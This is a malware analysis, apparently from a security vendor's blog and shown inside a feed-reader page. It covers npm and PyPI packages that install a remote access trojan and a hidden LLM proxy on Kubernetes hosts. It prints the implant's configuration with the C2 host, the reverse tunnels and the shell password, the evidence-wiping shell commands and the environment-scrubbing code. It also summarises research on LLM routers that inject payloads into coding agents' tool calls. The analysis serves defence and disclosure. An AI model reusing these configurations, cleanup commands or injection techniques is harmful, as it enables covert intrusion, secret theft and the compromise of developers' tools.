惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

H
Help Net Security
博客园 - 聂微东
Jina AI
Jina AI
Simon Willison's Weblog
Simon Willison's Weblog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
博客园 - 叶小钗
P
Proofpoint News Feed
C
CXSECURITY Database RSS Feed - CXSecurity.com
N
Netflix TechBlog - Medium
WordPress大学
WordPress大学
B
Blog
D
Docker
MyScale Blog
MyScale Blog
The GitHub Blog
The GitHub Blog
S
Schneier on Security
G
Google Developers Blog
Microsoft Azure Blog
Microsoft Azure Blog
量子位
Security Latest
Security Latest
S
Secure Thoughts
T
Tor Project blog
E
Exploit-DB.com RSS Feed
D
DataBreaches.Net
N
News and Events Feed by Topic
B
Blog RSS Feed
IT之家
IT之家
N
News | PayPal Newsroom
Attack and Defense Labs
Attack and Defense Labs
C
Check Point Blog
V
V2EX
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Recorded Future
Recorded Future
Martin Fowler
Martin Fowler
S
SegmentFault 最新的问题
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
L
LangChain Blog
Hugging Face - Blog
Hugging Face - Blog
阮一峰的网络日志
阮一峰的网络日志
M
MIT News - Artificial intelligence
Last Week in AI
Last Week in AI
D
Darknet – Hacking Tools, Hacker News & Cyber Security
博客园_首页
The Hacker News
The Hacker News
The Register - Security
The Register - Security
T
Threat Research - Cisco Blogs
腾讯CDC
P
Privacy International News Feed
T
Troy Hunt's Blog
云风的 BLOG
云风的 BLOG
L
LINUX DO - 最新话题

Hacker News - Newest: "LLM"

The LLM Is Not a Junior Engineer GitHub - pleasedodisturb/llm-safe-haven: The missing security guide for solo developers running autonomous AI coding agents GitHub - vassiliylakhonin/agenda-intelligence-md: A markdown protocol for AI agents that analyze public agenda instead of summarizing it badly. Firefox for Web Developers (@firefoxwebdevs@mastodon.social) Easy VM sandboxes for LLM agents on MacOS, Miami & Paris travel GitHub - TauricResearch/TradingAgents: TradingAgents: Multi-Agents LLM Financial Trading Framework LLM 0.32a0 is a major backwards-compatible refactor IKP — Incompressible Knowledge Probes The 6-Lever LLM Cost Stack: A Production Playbook (One Backfired, One I'd Reverse Today) GitHub - Javierlozo/llm-audit: Static analysis for TypeScript / JavaScript LLM-application code. OWASP LLM Top 10 at commit time. A complement to Semgrep's p/ai-best-practices for the TS/JS ecosystem. RFC 0010: Workflow Composition Extension | PromptPack GitHub - allocz/slm: zero-dependency TUI LLM chat GitHub - stevefan1999-personal/demcstify: Decompile Minecraft using Vineflower, reconstruct the code using LLM GitHub - victornominista/anp: The economic layer for agent-to-agent negotiation. Binary protocol, Ed25519 identity, price oracle. GitHub - lazyville/qsh: q - Slim LLM CLI I built OWASP-style security skill packs for LLM apps (NPM install) We Upgraded to a Frontier Model and Our Costs Went Down [PUBLIC] 03/21/26 vLLM-compile @ KCD vLLM meetup Ask HN: What happens when you paste a screenshot, and ask questions in LLM? GitHub - gfernandf/agent-skills: Agents should execute whenever possible — runtime for composable AI agent skills Understanding the LLM Bubble - American Affairs Journal LLM Budget Guard — Hard Cutoffs Before Your Agents Burn You GitHub - vnmoorthy/pavo-bench: A 50K-turn voice pipeline benchmark and an 85K-param meta-controller that cuts P95 latency 10.3% and energy 71% vs fixed cloud. TMLR 2026. GitHub - redcaller/voice-goat: A purposely vulnerable voice agent application for security practitioners to practice exploiting voice-based (and text based) AI systems. HeLa-Mem: Hebbian Learning and Associative Memory for LLM Agents Machina Mirabilis - Michael Hla GitHub - xoai/sage-wiki: An LLM-compiled personal knowledge base. Drop in your papers, articles, and notes. sage-wiki compiles them into a structured, interlinked wiki — with concepts extracted, cross-references discovered, and everything searchable. GitHub - MTimma/knowerage: Local MCP server that tracks AI analysis coverage against your codebase The Environment Rewrites the Question Before I Ask It GitHub - epscylonb/1386.ai.rocm: A lightweight transformer language model built from scratch in PyTorch, trained on a single consumer GPU with a full pipeline for data processing, pretraining, and instruction tuning. AeSlides: Incentivizing Aesthetic Layout in LLM-Based Slide Generation via Verifiable Rewards [WIP] Benchmarking Local LLMs Against Coding Agent Harnesses I build my LLM a Brain GitHub - glama-ai/lightport: A lightweight AI gateway that makes LLM providers OpenAI-compatible. Vibe-exploring Stunt Island Customizing Karpathy's LLM wiki for fighting disease Incompressible Knowledge Probes: Estimating Black-Box LLM Parameter Counts via Factual Capacity AI Usage Analytics – Real-time budget enforcement and PII redaction for LLM My Workflow for Understanding LLM Architectures Museum of Code: alphafold_2018 InterviewDeck — Master 50 LLM Interview Questions GitHub - fkyah3/opencode-fkyah3: The open source coding agent. GitHub - poinsettiaclg-gif/AETHER-core: The open-source core compiler for the AETHER Agent Reliability Framework. Replaces fuzzy prompts with strict Weighted Intent Token (WIT) vectors to prevent Context Rot. The New Linux Kernel AI Bot Uncovering Bugs Is A Local LLM On Framework Desktop + AMD Ryzen AI Max GitHub - rlops/rlix: Run more RL experiments. Wait less for GPUs. GitHub - lace-ai/gai: 🤖 GAI is a flexible Go library for building agent-style applications on top of LLMs GitHub - starface77/Neuro-Adaptive-Reasoning-Engine GitHub - artem-mangilev/ctxbrew: 📦 Ship & Use AI-friendly package context. Could creativy in LLM emerge by reframing language? Cowork on 3P: How to Run Any LLM in Claude Cowork and Claude Code GitHub - ivankuznetsov/llm-wiki GitHub - labiium/routiium: A self-hosted LLM reverse proxy that adds managed auth, multi-provider routing, rate limiting, llm as judge, historyand cost tracking to any OpenAI-compatible Chatnik: LLM Host in the Shell — Part 1: First Examples & Design Principles GitHub - gerritsxd/chatforge: Drag two conversations together. Local LLM chat with merge, persistent memory, and LoRA compilation. From $200 to $30: Five Layers of LLM Cost Optimization GitHub - FuzzAnything/PromptFuzz: PromtFuzz is an automated tool that generates high-quality fuzz drivers for libraries via a fuzz loop constructed on mutating LLMs' prompts. Amália- Open Source Large Language Model (LLM) for European Portuguese GitHub - nex-crm/wuphf: Slack for AI employees with a shared brain. Get Claudes, Codexes and OpenClaws to collaborate and do your work autonomously while never losing context. hallucination-mitigation-via-contrastive-sampling- method Monitoring LLM behavior: Drift, retries, and refusal patterns I Asked My Local LLM to Add 23 Numbers. I Got Seven Different Wrong Answers. GCC Establishes Working Group To Decide On AI/LLM Policy Study: Does the brain work like an LLM in predicting words? GitHub - NoahCristino/llmcat: A simple CLI that transforms your code into clean, structured text for feeding into LLMs. LLM research on Hacker News is drying up – Dylan Castillo Designing a Memory System for LLM-Based Agents Ask HN: What's your current go-to LLM for "thinking-partner"? Show HN: Llm.sql – Run a 640MB LLM on SQLite, with 210MB peak RSS and 7.4 tok/s FairyFuse: Multiplication-Free LLM Inference on CPUs via Fused Ternary Kernels zork-bench: An LLM reasoning eval based on text adventure games GitHub - fambaseOU/localDom: LocalDom** turns your local LLM engines into secure, authenticated API services. It allows you to generate professional API credentials for your local AI (Ollama, LM Studio, etc.), making it seamless to use your private models anywhere—from mobile apps to external web services—with **End-to-End Encryption (E2EE)** and **Persistent Memory**. GitHub - al1-nasir/LocalForge: Self-hosted AI control plane for intelligent local LLM orchestration. OpenAI-compatible API · ML-powered multi-model routing · LoRA finetuning · vector memory · RAG GitHub - latitude-dev/eval-skills: LLM eval skills for developers. Free tools to find failure patterns, build evals, and improve AI quality in production Watermarked LLM Outputs [pdf] LLM pricing has never made sense LLM as Judge: Reproducible Evaluation for LLM Systems - Learning Roadmap | Nemorize Structured planning, execution, and memory for LLM agents (ragbits 1.6) Local LLM for Private Companies One Simple Fix That Makes LLM Benchmark Rankings Actually Agree Ask HN: Is the ongoing AI research driving LLM models to be better? Show HN: I made a simpler API for Chrome's on-device LLM GitHub - ojuschugh1/sqz: Compress LLM context to save tokens and reduce costs How Do LLM Agents Think Through SQL Join Orders? | ADRS — AI-Driven Research for Systems Writing an LLM from scratch, part 33 -- what I learned from finally getting round to the appendices Google Colab The Scraping Wiki: An LLM-maintained knowledge base indexing 400 articles GitHub - SijuEC/eridani-speak: Token compression library inspired by a friendly alien engineer's communication style. Kernel code removals driven by LLM-created security reports SAW-INT4: System-Aware 4-Bit KV-Cache Quantization for Real-World LLM Serving GitHub - lechmazur/position_bias: A benchmark for testing whether LLM judges keep the same preference when two lightly edited versions of the same story are shown in opposite orders. Flex routing (EU and EFTA) Dark Factories: Retooling for LLM Velocity Ask HN: What would be the impact of a LLM output injection attack? GitHub - AronDaron/dataset-generator: No-code desktop app for generating high-quality synthetic datasets to fine-tune LLMs — plan-then-execute pipeline, LLM-as-judge, HuggingFace upload. I thought I had a bug I wrote a 400-line pipeline that installs and scores every LLM tool on HN overnight Aito.ai - The AI Database Landscape in 2026: Where Does Structured Prediction Fit? GitHub - moe18/Unwired: LLM powered DNS GitHub - brcrusoe72/agent-search: Self-hosted search API + MCP server for AI agents. Bundles SearXNG. Zero API keys, one-command deploy. Open-source alternative to Tavily, Exa, and Serper. Introducing dotLLM - Building an LLM Inference Engine in C#
GPT-Proxy Backdoor in npm and PyPI turns Servers into Chinese LLM Relays
Ilyas Makari · 2026-04-22 · via Hacker News - Newest: "LLM"

We recently observed two malicious packages across npm (kube-health-tools) and PyPI (kube-node-health) that appear designed to target Kubernetes environments. Both packages are innocuous on the surface, using names that reference Kubernetes to appear legitimate. But under the hood, they silently install a full LLM proxy service on the victim's machine, allowing the attacker to route LLM traffic through the compromised server as if it were just another relay node in a commercial AI reselling platform.

Stage 1: The Droppers

Both packages ship a compiled native binary as their payload carrier.

The two stage 1 files are:

  • __init___cpython-311-x86_64-linux-gnu.so  (PyPI package)
  • addon.node  (npm package)

Both are native binaries that execute on import or on require(). The .so is a Cython-compiled Python extension; the .node is a Node.js native addon. They both download a stage 2 binary from GitHub. The encoded URL in the PyPI dropper resolves to:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

The npm dropper fetches a more capable variant from the same release:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Both binaries are written to /tmp/.kh, marked executable, and launched immediately.

Both droppers also embed XOR-encrypted configuration blobs that get piped directly into the stage 2 binary on launch. The stage 2 binary reads the config from stdin, decrypts it, and uses it as its runtime configuration:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

The config reveals several things about the operation. The Command and Control (C2) server is sync[.]geeker[.]indevs[.]in, authenticated with a hardcoded credential (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). The disguise block instructs the implant to masquerade its process as node-health-check --mode=daemon, blending in with legitimate tooling in a process listing.

The three reverse tunnels in the config each map a port on the attacker's C2 server to a local service on the victim machine:

  • Port 4444 routes to 127.0.0.1:0 (the LLM proxy)
  • Port 4446 routes to 127.0.0.1:22 (the victim's SSH server)
  • Port 4445 routes to 127.0.0.1:8200 (HashiCorp Vault's default port, a secrets store commonly used in Kubernetes environments)

The npm variant also includes a ngrok fallback, which cycles through a pool of ngrok accounts delivered by the C2, exposing the victim’s server through a public endpoint.

After launching the stage 2 binary, the dropper script actively erases evidence of its own execution. It deletes the downloaded binary from /tmp/.kh, removes a second temp file at /tmp/.ns, and then, most notably, recursively deletes the entire kube-health-tools package directory from node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

Within two seconds of the stage 2 binary starting, every artifact of installation is gone. A post-incident forensic scan of node_modules will find nothing.

Stage 2: Remote Access Trojan

The stage 2 binary is a compiled Go binary with several capabilities packed into a single executable. It connects back to sync[.]geeker[.]indevs[.]in over WebSocket, establishes an SSH session, and uses a Chisel tunneling protocol to register the tunnels defined in the config.

The implant implements Chisel tunneling over WebSocket:

  • SOCKS5 proxy: The binary can expose a full SOCKS5 proxy, allowing the attacker to route arbitrary TCP traffic through the victim's network.
  • Reverse shell: Configured with the password (123qweASD) found in the dropper's config block, providing a full interactive terminal.
  • SFTP server: Ships a full SFTP server, giving the attacker complete filesystem read/write access.
  • LLM proxy: An OpenAI-compatible API gateway that accepts requests and routes them upstream through attacker-provided routers.

The binary takes care to conceal itself after launch. It renames its process to node-health-check with the argument --mode=daemon, making it blend in with legitimate tooling in a process listing. It also scrubs all relevant environment variables immediately on startup:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

This ensures that if a KH_CFG or NHC_CFG operator-override variable was set, it disappears from the environment before any inspection can find it.

The implant includes a fully functional OpenAI-compatible LLM proxy embedded directly in the stage 2 binary. It seems to be an API gateway that accepts requests and routes them to upstream APIs, including Chinese LLM routers like shubiaobiao.

The proxy exposes four inbound routes, reachable via the tunnel:

  • GET /health → 200 OK
  • GET /v1/models → list all configured models
  • POST /v1/chat/completions → route to upstream
  • POST /v1/completions → route to upstream

When a request hits /v1/chat/completions, the proxy:

  1. Reads the model field from the request body
  2. Looks up the model name in a routing table delivered by the C2
  3. Selects an API key from either the key_normal or key_ultra pool, depending on the config’s key_type field
  4. Rewrites the request with the upstream host, path, and bearer auth token.
  5. Forwards the request and streams the response back

From the upstream path strings found in the binary, the routing table maps model names to paths like these:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

The /gpt-proxy/ path prefix, combined with vendor names like shubiaobiao, cloudsway, and volengine, points to intermediary aggregators rather than official provider APIs. Neither api.openai.com nor api.anthropic.com appear anywhere in the binary.

The binary contains 109 hardcoded model name strings used to build the /v1/models response. They span the major frontier providers, including models from Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), and Alibaba (qwen3-235b-a22b-instruct-2507).

The Chinese Proxy Ecosystem

Running proxy servers on compromised machines is a recurring behavior in the Chinese threat landscape, driven in part by restrictions imposed by the Great Firewall. Previously, AhnLab discovered attackers deploying tools like TinyProxy and Sing-box on vulnerable honeypot servers to run covert proxy services. Indeed, the GitHub account gibunxi4201, which hosts the stage 2 payload, appears to have other proxy-related projects in its release history, consistent with an operator primarily focused on proxy infrastructure.

These proxy tools are often deployed on vulnerable servers for free proxy IPs, but also on free services like HuggingFace, Databricks, and Streamlit to browse the web without restrictions from the Great Firewall. The pattern is always the same: find a cheap or compromised resource and turn it into a free proxy server.

Chinese developers often can't access AI models because of regional blocks. This has created a booming gray market for LLM API access. Chinese platforms like Xianyu, Goofish, and Taobao are filled with listings from sellers offering access to ChatGPT, Claude, and Gemini at a fraction of the official prices via router endpoints (like those found in this malware). There are even sellers offering courses on how to monetize by running your own LLM routers.

Malicious LLM Routers

Beyond providing cheap access to AI, LLM routers like the one deployed here sit on a trust boundary that is easily abused. Because every request passes through the router in plaintext, a malicious operator can, as documented by Hanzhi Liu et al.:

  • Inject malicious tool calls into responses of coding agents before they reach the client, introducing malicious pip install or curl | bash payloads mid-flight
  • Silently exfiltrate secrets from request and response bodies, including API keys, AWS credentials, GitHub tokens, Ethereum private keys, and system prompts

The researchers found that in a corpus of 428 commodity routers, 9 were actively injecting malicious code into returned tool calls, and 17 were found to touch researcher-owned AWS canary credentials after observing them in transit.

While we found no evidence of injection or exfiltration in this specific implant, any developer whose AI coding tools are routed through a compromised machine is effectively passing their entire context window through an adversary-controlled relay.

How Aikido Detects This

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's Endpoint Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

IOCs

Malicious Packages

  • PyPI: kube-node-health
  • npm: kube-health-tools

File Hashes

  • __init___cpython-311-x86_64-linux-gnu.so (PyPI stage 1)
    • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
  • addon.node (npm stage 1)
    • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
  • kube-diag-linux-amd64-packed (stage 2 PyPI variant)
    • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
  • kube-diag-full-linux-amd64-packed (stage 2 npm variant)
    • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Network Indicators

  • C2 server: sync[.]geeker[.]indevs[.]in
  • Stage 2 download: github[.]com/gibunxi4201/kube-node-diag

Process Indicators

  • Process name: node-health-check
  • Temp download paths: /tmp/.kh and /tmp/.ns